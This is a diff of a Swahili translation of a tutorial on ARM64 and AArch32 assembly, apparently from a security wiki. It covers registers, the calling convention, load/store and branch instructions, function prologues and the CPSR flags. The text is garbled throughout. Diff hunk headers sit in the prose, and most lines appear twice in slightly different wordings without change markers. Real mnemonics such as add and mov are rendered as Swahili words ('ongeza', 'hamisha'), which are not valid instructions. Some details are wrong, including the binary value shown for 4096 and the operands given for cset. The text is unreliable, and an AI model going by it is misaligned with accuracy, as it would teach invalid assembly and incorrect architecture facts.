* Bendera za **uchaguzi wa kidole cha mstari** (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia kusajili la kidole chao na lile la mfano wa mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Hii kubadilishwa hufanywa kwa kuandika kwa kipimo maalum cha **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
* Bendera za kuchagua za **kuchagua kidole cha steki** (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia kusajili la kidole chao la steki na moja ya mfano wa mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Hii kubadilishana hufanywa kwa kuandika kwa vidhibiti maalum vya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
## **Mkataba wa Kuita (ARM64v8)**
Mkataba wa kuita wa ARM64 unabainisha kwamba **parameta nane za kwanza** kwa kazi hutumwa katika visajili **`x0` hadi `x7`**. **Parameta zaidi** hutumwa kwenye **stakishi**. Thamani ya **kurudi** hutumwa kwenye kisajili **`x0`**, au pia kwenye **`x1`** pia **ikiwa ni 128 biti ndefu**. Visajili vya **`x19`** hadi **`x30`** na **`sp`** lazima viwe **vimehifadhiwa** kupitia wito wa kazi.
Mkataba wa kuita wa ARM64 unabainisha kwamba **parameta nane za kwanza** kwa kazi hutumwa katika vidhibiti **`x0` hadi `x7`**. **Parameta zaidi** hutumwa kwenye **steki**. Thamani ya **kurudi** hutumwa kwenye kusajili **`x0`**, au pia katika **`x1`** pia **ikiwa ni urefu wa biti 128**. Vidhibiti vya **`x19`** hadi **`x30`** na **`sp`** lazima viwe **vimehifadhiwa** kupitia wito wa kazi.
Unaposoma kazi katika mkusanyiko, tafuta **prologue na epilogue** ya kazi. **Prologue** kawaida inajumuisha **kuhifadhi kiashiria cha fremu (`x29`)**, **kuweka** fremu **muhimu mpya**, na **kutenga nafasi ya stakishi**. **Epilogue** kawaida inajumuisha **kurudisha kiashiria cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
Unaposoma kazi katika mkusanyiko, tafuta **prologue na epilogue** ya kazi. **Prologue** kawaida inajumuisha **kuhifadhi kiashiria cha fremu (`x29`)**, **kuweka** fremu **muhimu mpya**, na **kutenga nafasi ya steki**. **Epilogue** kawaida inajumuisha **kurudisha kiashiria cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
### Mkataba wa Kuita katika Swift
@ -112,37 +112,37 @@ Swift ina **mkataba wake wa kuita** ambao unaweza kupatikana katika [**https://g
## **Maagizo Maarufu (ARM64v8)**
Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama vile `ongeza`, `punguza`, `hamisha`, nk.), **`dst`** ni kisajili cha **marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni visajili vya **chanzo**. Thamani za mara moja pia zinaweza kutumika mahali pa visajili vya chanzo.
Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama vile `ongeza`, `punguza`, `hamisha`, nk.), **`dst`** ni kusajili cha **marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **vidhibiti vya chanzo**. Thamani za mara moja pia zinaweza kutumika mahali pa vidhibiti vya chanzo.
* **`hamisha`**: **Hamisha** thamani kutoka kwa **kisajili** kimoja kwenda kingine.
* Mfano: `hamisha x0, x1` — Hii inahamisha thamani kutoka `x1` kwenda `x0`.
* **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** ndani ya **kisajili**.
* Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka kwa eneo la kumbukumbu linaloelekezwa na `x1` ndani ya `x0`.
* **Hali ya Kufuta**: Kufuta inayoathiri kidole cha mstari wa asili inaonyeshwa, kwa mfano:
* **`hamisha`**: **Hamisha** thamani kutoka kwa **kusajili** kwa mwingine.
* Mfano: `hamisha x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`.
* **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **kusajili**.
* Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka kwa eneo la kumbukumbu linaloelekezwa na `x1` hadi `x0`.
* **Hali ya kufuta**: Kufuta inayoathiri kidhibiti cha awali inaonyeshwa, kwa mfano:
* `ldr x2, [x1, #8]`, hii itapakia katika x2 thamani kutoka x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye safu x0, kutoka kwenye nafasi x1 (indeksi) \* 4
* **Hali ya Kabla ya Kufuta**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
* &#x20;`ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye safu x0, kutoka kwa nafasi x1 (indeksi) \* 4
* **Hali ya kabla ya kufuta**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
* `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8`
* `str lr, [sp, #-4]!`, Hifadhi kiashiria cha kiungo katika sp na sasisha kisajili cha sp
* **Hali ya Baada ya Kufuta**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa kisha kufuta hufanywa na kuhifadhiwa.
* `str lr, [sp, #-4]!`, Hifadhi kiashiria cha kiungo katika sp na sasisha kusajili sp
* **Hali ya baada ya kufuta**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa kisha kufuta hufanywa na kuhifadhiwa.
* `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8`
* **Kuainisha kwa PC**: Katika kesi hii anwani ya kupakia inahesabiwa kulingana na kisajili cha PC
* **Kuwasiliana kwa PC-relative**: Katika kesi hii anwani ya kupakia inahesabiwa kulingana na kusajili cha PC
* `ldr x1, =_start`, Hii itapakia anwani ambapo ishara ya `_start` inaanza katika x1 inayohusiana na PC ya sasa.
* **`str`**: **Hifadhi** thamani kutoka kwa **kisajili** kwenye **kumbukumbu**.
* **`str`**: **Hifadhi** thamani kutoka kwa **kusajili** kwenye **kumbukumbu**.
* Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu linaloelekezwa na `x1`.
* **`ldp`**: **Pakia Jozi ya Visajili**. Maagizo haya **hupakia visajili viwili** kutoka kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hupatikana kwa kuongeza kufuta kwa thamani katika kisajili kingine.
* **`ldp`**: **Pakia Jozi ya Vidhibiti**. Maagizo haya **hupakia vidhibiti viwili** kutoka kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kusajili kingine.
* Mfano: `ldp x0, x1, [x2]` — Hii inapakia `x0` na `x1` kutoka kwa eneo la kumbukumbu katika `x2` na `x2 + 8`, mtawalia.
* **`stp`**: **Hifadhi Jozi ya Visajili**. Maagizo haya **huhifadhi visajili viwili** kwenye **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hupatikana kwa kuongeza kufuta kwa thamani katika kisajili kingine.
* **`stp`**: **Hifadhi Jozi ya Vidhibiti**. Maagizo haya **huhifadhi vidhibiti viwili** kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kusajili kingine.
* Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye eneo la kumbukumbu katika `sp` na `sp + 8`, mtawalia.
* `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye eneo la kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na kusasisha `sp` na `sp+16`.
* **`ongeza`**: **Ongeza** thamani za visajili viwili na uhifadhi matokeo katika kisajili.
* **`ongeza`**: **Ongeza** thamani za vidhibiti viwili na uhifadhi matokeo kwenye kusajili.
* Sintaksia: ongeza(s) Xn1, Xn2, Xn3 | #imm, \[geuka #N | RRX]
* Xn1 -> Mahali pa Kuelekea
* Xn2 -> Operesheni 1
* Xn3 | #imm -> Operesheni 2 (daftari au mara moja)
* \[geuka #N | RRX] -> Fanya geuka au itekeleze RRX
* \[geuka #N | RRX] -> Fanya geuka au piga simu kwa RRX
* Mfano: `ongeza x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`.
* `ongeza x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 iliyohamishwa mara 12) -> 1 0000 0000 0000 0000
* `ongeza x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 inayogeuzwa mara 12) -> 1 0000 0000 0000 0000
* **`ongeza`** Hii hufanya `ongeza` na kusasisha bendera
* **`sub`**: **Punguza** thamani za daftari mbili na uhifadhi matokeo katika daftari.
* Angalia **sintaksia ya `ongeza`**.
@ -158,15 +158,15 @@ Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo
* **Geuza mantiki kulia ya hisabati**: Kama **`lsr`**, lakini badala ya kuongeza 0 ikiwa biti muhimu zaidi ni 1, \*\*1s zinaongezwa (\*\*gawanya mara n kwa 2 kwa ishara)
* **Geuza kulia**: Kama **`lsr`** lakini chochote kinachotolewa kulia kinawekwa kushoto
* **Geuza Kulia na Panua**: Kama **`ror`**, lakini na bendera ya kubeba kama "biti muhimu zaidi". Kwa hivyo bendera ya kubeba inahamishiwa kwa biti ya 31 na biti iliyotolewa kwa bendera ya kubeba.
* **`bfm`**: **Harakisha Biti**, hizi ni operesheni **nakili biti `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inabainisha **nafasi ya biti ya kushoto** na **`#r`** kiasi cha **geuza kulia**.
* **`bfm`**: **Harakisha Biti**, hizi operesheni **nakili biti `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inabainisha **nafasi ya biti ya kushoto** na **`#r`** kiasi cha **geuza kulia**.
* Harakisha biti: `BFM Xd, Xn, #r`
* Harakisha biti iliyosainiwa: `SBFM Xd, Xn, #r, #s`
* Harakisha biti isiyosainiwa: `UBFM Xd, Xn, #r, #s`
* **Toa na Ingiza Harakisha Biti:** Nakili uga wa biti kutoka kwa daftari na uziweke katika daftari lingine.
* **Toa na Ingiza Harakisha Biti:** Nakili uga wa biti kutoka kwa daftari na uziweke kwenye daftari lingine.
* **`BFI X1, X2, #3, #4`** Ingiza biti 4 kutoka X2 kutoka biti ya 3 ya X1
* **`BFXIL X1, X2, #3, #4`** Toa kutoka biti ya 3 ya X2 biti nne na uziweke kwa X1
* **`SBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
* **`SBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2, panua ishara yao, na weka matokeo kwa X1
* **`SBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2, panua sahihi, na weka matokeo kwa X1
* **`UBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
* **`UBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2 na weka matokeo yaliyozidishwa na sifuri kwa X1.
* **Panua Ishara Kwenda X:** Panua ishara (au ongeza tu 0s katika toleo lisilo na ishara) ya thamani ili kuweza kufanya operesheni nayo:
@ -175,16 +175,16 @@ Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo
* **`SXTW X1, W2`** Panua ishara ya baiti **kutoka W2 hadi X1** ili kujaza 64bits
* **`UXTB X1, W2`** Ongeza 0s (bila ishara) kwa baiti **kutoka W2 hadi X1** ili kujaza 64bits
* **`extr`:** Toa biti kutoka kwa **jozi ya daftari zilizounganishwa**.
* Mfano: `EXTR W3, W2, W1, #3` Hii ita **unganisha W1+W2** na pata **kutoka biti 3 ya W2 hadi biti 3 ya W1** na uhifadhi kwa W3.
* Mfano: `EXTR W3, W2, W1, #3` Hii ita **unganisha W1+W2** na pata **kutoka biti ya 3 ya W2 hadi biti ya 3 ya W1** na uhifadhi kwa W3.
* **`cmp`**: **Hakiki** daftari mbili na weka bendera za hali. Ni **jina mbadala la `subs`** ikisawazisha daftari la marudio na daftari la sifuri. Inafaa kujua ikiwa `m == n`.
* Inaunga mkono **sintaksia sawa na `subs`**
* Mfano: `cmp x0, x1` — Hii inahakiki thamani katika `x0` na `x1` na kuweka bendera za hali kulingana.
* **`cmn`**: **Hakiki hasi** ya operesheni. Katika kesi hii ni **jina mbadala la `adds`** na inaunga mkono sintaksia sawa. Inafaa kujua ikiwa `m == -n`.
* **`ccmp`**: Hakiki ya masharti, ni hakiki ambayo itafanywa tu ikiwa hakiki ya awali ilikuwa kweli na itaweka wazi hasa biti za nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwenye func
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa hivyo, biti za `nzcv` zitawekwa kama 0 (ambayo haitakidhi hakiki ya `blt`).
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa hivyo biti za `nzcv` zitawekwa kwa 0 (ambayo haitakidhi hakiki ya `blt`).
* Hii inaweza pia kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` vs `cmn`).
* **`tst`**: Inachunguza ikiwa thamani yoyote ya hakiki ni 1 (inafanya kazi kama na ANDS bila kuhifadhi matokeo mahali popote). Ni muhimu kuchunguza daftari na thamani na kuangalia ikiwa biti yoyote ya daftari iliyotajwa katika thamani ni 1.
* **`tst`**: Inachunguza ikiwa thamani yoyote ya hakiki ni 1 (inafanya kazi kama na ANDS bila kuhifadhi matokeo mahali popote). Ni muhimu kuchunguza daftari na thamani na kuchunguza ikiwa biti yoyote ya daftari iliyotajwa katika thamani ni 1.
* Mfano: `tst X1, #7` Hakiki ikiwa biti za mwisho 3 za X1 ni 1
* **`teq`**: Operesheni ya XOR ikipuuza matokeo
* **`b`**: Ruka bila kizuizi
@ -202,15 +202,15 @@ Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo
* Mfano: `b.eq lebo` — Ikiwa hakiki ya awali ya `cmp` ilipata thamani mbili sawa, hii inaruka kwa `lebo`.
* **`b.ne`**: **Branch if Not Equal**. Maelekezo haya yanachunguza bendera za hali (ambazo ziliwekwa na maelekezo ya kulinganisha hapo awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inaruka kwenye lebo au anwani.
* Mfano: Baada ya maelekezo ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwenye `label`.
* **`cbz`**: **Compare and Branch on Zero**. Maelekezo haya yanalinganisha usajili na sifuri, na ikiwa wana sawa, inaruka kwenye lebo au anwani.
* **`cbz`**: **Compare and Branch on Zero**. Maelekezo haya yanalinganisha daftari na sifuri, na ikiwa zinafanana, inaruka kwenye lebo au anwani.
* Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwenye `label`.
* **`cbnz`**: **Compare and Branch on Non-Zero**. Maelekezo haya yanalinganisha usajili na sifuri, na ikiwa hawako sawa, inaruka kwenye lebo au anwani.
* **`cbnz`**: **Compare and Branch on Non-Zero**. Maelekezo haya yanalinganisha daftari na sifuri, na ikiwa hazifanani, inaruka kwenye lebo au anwani.
* Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwenye `label`.
* **`tbnz`**: Angalia biti na ruka ikiwa si sifuri
* **`tbnz`**: Angalia biti na ruka kwenye si-sifuri
* Mfano: `tbnz x0, #8, label`
* **`tbz`**: Angalia biti na ruka ikiwa ni sifuri
* **`tbz`**: Angalia biti na ruka kwenye sifuri
* Mfano: `tbz x0, #8, label`
* **Operesheni za kuchagua kwa sharti**: Hizi ni operesheni ambazo tabia yake inatofautiana kulingana na biti za sharti.
* **Operesheni za kuchagua kwa sharti**: Hizi ni operesheni ambazo tabia yake inatofautiana kulingana na bits za sharti.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa ni kweli, X0 = X1, ikiwa ni uongo, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = Xn, ikiwa ni uongo, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Ikiwa ni kweli, Xd = Xn + 1, ikiwa ni uongo, Xd = Xn
@ -220,24 +220,24 @@ Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo
* `cneg Xd, Xn, cond` -> Ikiwa ni kweli, Xd = - Xn, ikiwa ni uongo, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = 1, ikiwa ni uongo, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = \<all 1>, ikiwa ni uongo, Xd = 0
* **`adrp`**: Hesabu **anwani ya ukurasa wa ishara** na uhifadhi katika usajili.
* Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `symbol` na kuihifadhi katika `x0`.
* **`adrp`**: Hesabu **anwani ya ukurasa wa ishara** na uhifadhi katika daftari.
* Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `ishara` na kuihifadhi katika `x0`.
* **`ldrsw`**: **Pakia** thamani ya **32-bit** iliyosainiwa kutoka kumbukumbu na **ongeza ishara hadi 64** biti.
* Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani iliyosainiwa ya 32-bit kutoka kwenye eneo la kumbukumbu linaloelekezwa na `x1`, inaongeza ishara hadi 64 biti, na kuihifadhi katika `x0`.
* **`stur`**: **Hifadhi thamani ya usajili kwenye eneo la kumbukumbu**, ukitumia mbadala kutoka kwa usajili mwingine.
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bayti 4 zaidi ya anwani iliyopo katika `x1`.
* **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza maelekezo haya, inabadilisha kutoka hali ya mtumiaji hadi hali ya msingi na inaruka kwenye eneo maalum kwenye kumbukumbu ambapo **msimamizi wa mfumo wa kernel** unapatikana.
* Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani iliyosainiwa ya biti 32 kutoka kwenye eneo la kumbukumbu inayoelekezwa na `x1`, inaongeza ishara hadi biti 64, na kuihifadhi katika `x0`.
* **`stur`**: **Hifadhi thamani ya daftari kwenye eneo la kumbukumbu**, ukitumia mbadala kutoka daftari lingine.
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni byte 4 zaidi ya anwani iliyopo katika `x1`.
* **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza maelekezo haya, inabadilisha kutoka hali ya mtumiaji hadi hali ya msingi na inaruka kwenye eneo maalum kwenye kumbukumbu ambapo **mifumo ya msingi ya mfumo** iko.
* Mfano:
```armasm
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa ajili ya kutoka (93) kwenye usajili x8.
mov x0, 0 ; Pakia nambari ya hali ya kutoka (0) kwenye usajili x0.
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa ajili ya kutoka (93) kwenye daftari x8.
mov x0, 0 ; Pakia nambari ya hali ya kutoka (0) kwenye daftari x0.
svc 0 ; Fanya wito wa mfumo.
```
### **Prologi ya Kazi**
1. **Hifadhi usajili wa kiungo na kiashiria cha fremu kwenye steki**:
1. **Hifadhi daftari la kiungo na kielekezi cha fremu kwenye stakisho**:
{% code overflow="wrap" %}
```armasm
@ -245,13 +245,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
```
{% endcode %}
2. **Wekeza alama ya fremu mpya**: `mov x29, sp` (inaweka alama ya fremu mpya kwa kazi ya sasa)
2. **Wekeza pointer mpya wa fremu**: `mov x29, sp` (inaweka pointer mpya wa fremu kwa kazi ya sasa)
3. **Tenga nafasi kwenye steki kwa mizani ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya baiti inayohitajika)
### **Epilogo ya Kazi**
1. **Futa mizani ya ndani (ikiwa ilikuwa imepangiwa)**: `add sp, sp, <size>`
2. **Rejesha usajili wa kiungo na alama ya fremu**:
1. **Futa mizani ya ndani (ikiwa ilikuwa imehifadhiwa)**: `add sp, sp, <size>`
2. **Rejesha usajili wa kiungo na pointer wa fremu**:
{% code overflow="wrap" %}
```armasm
@ -265,10 +265,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
Armv8-A inasaidia utekelezaji wa programu za biti 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\
Programu za biti 64 **zenye haki** zinaweza kupanga **utekelezaji wa programu za biti 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwenda kwa biti 32 zenye haki za chini.\
Tambua kwamba mpito kutoka biti 64 kwenda biti 32 hufanyika na kiwango cha kipekee cha chini (kwa mfano programu ya biti 64 katika EL1 inachochea programu katika EL0). Hii hufanywa kwa kuweka **biti 4 ya** **`SPSR_ELx`** daftari maalum **kuwa 1** wakati mchakato wa watumiaji wa `AArch32` uko tayari kutekelezwa na sehemu iliyobaki ya `SPSR_ELx` inahifadhi mipango ya CPSR ya programu za **`AArch32`**. Kisha, mchakato wenye haki huita maagizo ya **`ERET`** ili mchakato ubadilike kwenda kwa **`AArch32`** ukiingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
Tambua kwamba mpito kutoka biti 64 kwenda biti 32 hufanyika na kiwango cha chini cha kipekee (kwa mfano programu ya biti 64 katika EL1 ikichochea programu katika EL0). Hii hufanywa kwa kuweka **biti 4 ya** daftari maalum la **`SPSR_ELx`** **kuwa 1** wakati mchakato wa wateja wa `AArch32` uko tayari kutekelezwa na sehemu iliyobaki ya `SPSR_ELx` inahifadhi mipango ya **CPSR ya AArch32**. Kisha, mchakato wenye haki huita maagizo ya **`ERET`** ili mchakato ibadilike kwenda kwa **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
**`Interworking`** hufanyika kwa kutumia biti za J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **biti ya chini kuwa 1** kuashiria seti ya maagizo ni T32.\
Hii inawekwa wakati wa **maagizo ya matawi ya interworking,** lakini pia inaweza kuwekwa moja kwa moja na maagizo mengine wakati PC inawekwa kama daftari la marudio. Mfano:
Hii inawekwa wakati wa **maagizo ya matawi ya interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC inawekwa kama daftari la marudio. Mfano:
Mfano mwingine:
```armasm
@ -285,16 +285,16 @@ mov r0, #8
Kuna rejista 16 za biti 32 (r0-r15). **Kutoka r0 hadi r14** wanaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao kawaida huwa zimehifadhiwa:
- **`r15`**: Programu ya kuhesabu (daima). Ina anwani ya maagizo yanayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
- **`r11`**: Kiashiria cha Fremu
- **`r15`**: Counter ya programu (daima). Ina anwani ya maagizo yanayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
- **`r11`**: Kiashiria cha fremu
- **`r12`**: Rejista ya wito wa ndani wa utaratibu
- **`r13`**: Kiashiria cha Stakabadhi
- **`r14`**: Kiashiria cha Kiungo
- **`r13`**: Kiashiria cha steku
- **`r14`**: Kiashiria cha kiungo
Zaidi ya hayo, rejista zinahifadhiwa katika **`rejista zilizohifadhiwa`**. Ambazo ni sehemu zinazohifadhi thamani za rejista kuruhusu kufanya **mabadiliko ya muktadha haraka** katika kushughulikia kwa kipekee na operesheni za haki ili kuepuka haja ya kuhifadhi na kurejesha rejista kila wakati.\
Hii hufanywa kwa **kuihifadhi hali ya mchakato kutoka kwa `CPSR` hadi `SPSR`** ya hali ya mchakato ambayo kipekee inachukuliwa. Wakati wa kurudi kutoka kwa kipekee, **`CPSR`** inarejeshwa kutoka kwa **`SPSR`**.
Hii hufanywa kwa **kuihifadhi hali ya mchakato kutoka kwa `CPSR` hadi `SPSR`** ya hali ya mchakato ambayo kipekee inachukuliwa. Wakati wa kurudi kutoka kwa kipekee, **`CPSR`** inarejeshwa kutoka **`SPSR`**.
### CPSR - Usajili wa Hali ya Programu ya Sasa
### CPSR - Rejista ya Hali ya Programu ya Sasa
Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati kipekee inachukuliwa ili kurejesha baadaye utekelezaji:
@ -302,29 +302,29 @@ Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahif
Sehemu zimegawanywa katika vikundi kadhaa:
- Usajili wa Hali ya Programu ya Maombi (APSR): Alama za hesabu na zinaweza kufikiwa kutoka EL0
- Usajili wa Hali ya Utekelezaji: Tabia ya mchakato (inayosimamiwa na OS).
- Rejista ya Hali ya Programu ya Maombi (APSR): Alama za hesabu na inaweza kufikiwa kutoka EL0
- Rejista za Hali ya Utekelezaji: Tabia ya mchakato (inasimamiwa na OS).
#### Usajili wa Hali ya Programu ya Maombi (APSR)
#### Rejista ya Hali ya Programu ya Maombi (APSR)
- Alama za **`N`**, **`Z`**, **`C`**, **`V`** (kama katika AArch64)
- Alama ya **`Q`**: Inawekwa kuwa 1 wakati wowote **kutendeka kwa kutosha kwa nambari** wakati wa utekelezaji wa maagizo ya hesabu ya kutosha maalum. Mara tu inapowekwa kuwa **`1`**, itabaki na thamani hiyo mpaka iwekwe kwa manually kuwa 0. Zaidi ya hayo, hakuna maagizo yoyote yanayochunguza thamani yake kwa kawaida, lazima ifanywe kusoma kwa manually.
- **`GE`** (Kubwa au sawa) Alama: Hutumiwa katika operesheni za SIMD (Maagizo Moja, Data Nyingi) kama "kuongeza kwa pamoja" na "kutoa kwa pamoja". Operesheni hizi huruhusu kusindika pointi nyingi za data katika maagizo moja.
- Alama za **`N`**, **`Z`**, **`C`**, **`V`** (sawa na AArch64)
- Alama ya **`Q`**: Inawekwa kuwa 1 wakati **saturation ya nambari** inatokea wakati wa utekelezaji wa maagizo maalum ya hesabu ya kujaza. Mara tu inapowekwa kuwa **`1`**, itabaki na thamani hiyo mpaka iwekwe kwa mkono kuwa 0. Zaidi ya hayo, hakuna maagizo yoyote yanayochunguza thamani yake kwa kawaida, lazima ifanywe kusoma kwa mkono.
- **`GE`** (Kubwa au sawa) Alama: Hutumiwa katika operesheni za SIMD (Maagizo Moja, Data Nyingi) kama vile "kuongeza wima" na "kupunguza wima". Operesheni hizi huruhusu kusindika pointi nyingi za data katika maagizo moja.
Kwa mfano, maagizo ya **`UADD8`** **ya kuongeza jozi nne za bayti** (kutoka kwa waendeshaji wawili wa biti 32) kwa pamoja na kuhifadhi matokeo katika usajili wa biti 32. Kisha **inaweka alama za `GE` katika `APSR`** kulingana na matokeo haya. Kila alama ya GE inalingana na moja ya kuongeza bayti, ikionyesha ikiwa kuongeza kwa jozi hiyo ya bayti **ilifurika**.
Kwa mfano, maagizo ya **`UADD8`** **ya kuongeza jozi nne za bayti** (kutoka kwa waendeshaji wawili wa biti 32) kwa wima na kuhifadhi matokeo katika rejista ya biti 32. Kisha **inaweka alama za `GE` katika `APSR`** kulingana na matokeo haya. Kila alama ya GE inalingana na moja ya kuongeza bayti, ikionyesha ikiwa kuongeza kwa jozi hiyo ya bayti **kulivuja**.
Maagizo ya **`SEL`** hutumia alama hizi za GE kutekeleza hatua za masharti.
#### Usajili wa Hali ya Utekelezaji
#### Rejista za Hali ya Utekelezaji
- Vipande vya **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya maagizo ya A32 hutumiwa, na ikiwa ni 1, T32 hutumiwa.
- Usajili wa Hali ya Bloki ya IT (`ITSTATE`): Hizi ni vipande kutoka 10-15 na 25-26. Huhifadhi masharti kwa maagizo ndani ya kikundi kilicho na kipimo cha **`IT`**.
- Rejista ya Hali ya Bloki ya IT (`ITSTATE`): Hizi ni vipande kutoka 10-15 na 25-26. Huhifadhi masharti ya maagizo ndani ya kikundi kilicho na kipimo cha **`IT`**.
- Biti ya **`E`**: Inaonyesha **endianness**.
- **Vipande vya Hali na Kifuniko cha Kipekee** (0-4): Vinabainisha hali ya utekelezaji wa sasa. Ya **5** inaonyesha ikiwa programu inaendeshwa kama biti 32 (1) au biti 64 (0). Zingine 4 zinaonyesha **hali ya kipekee inayotumiwa kwa sasa** (wakati kipekee inatokea na inashughulikiwa). Nambari iliyowekwa inaonyesha **kipaumbele cha sasa** ikiwa kipekee nyingine itaanzishwa wakati huu inashughulikiwa.
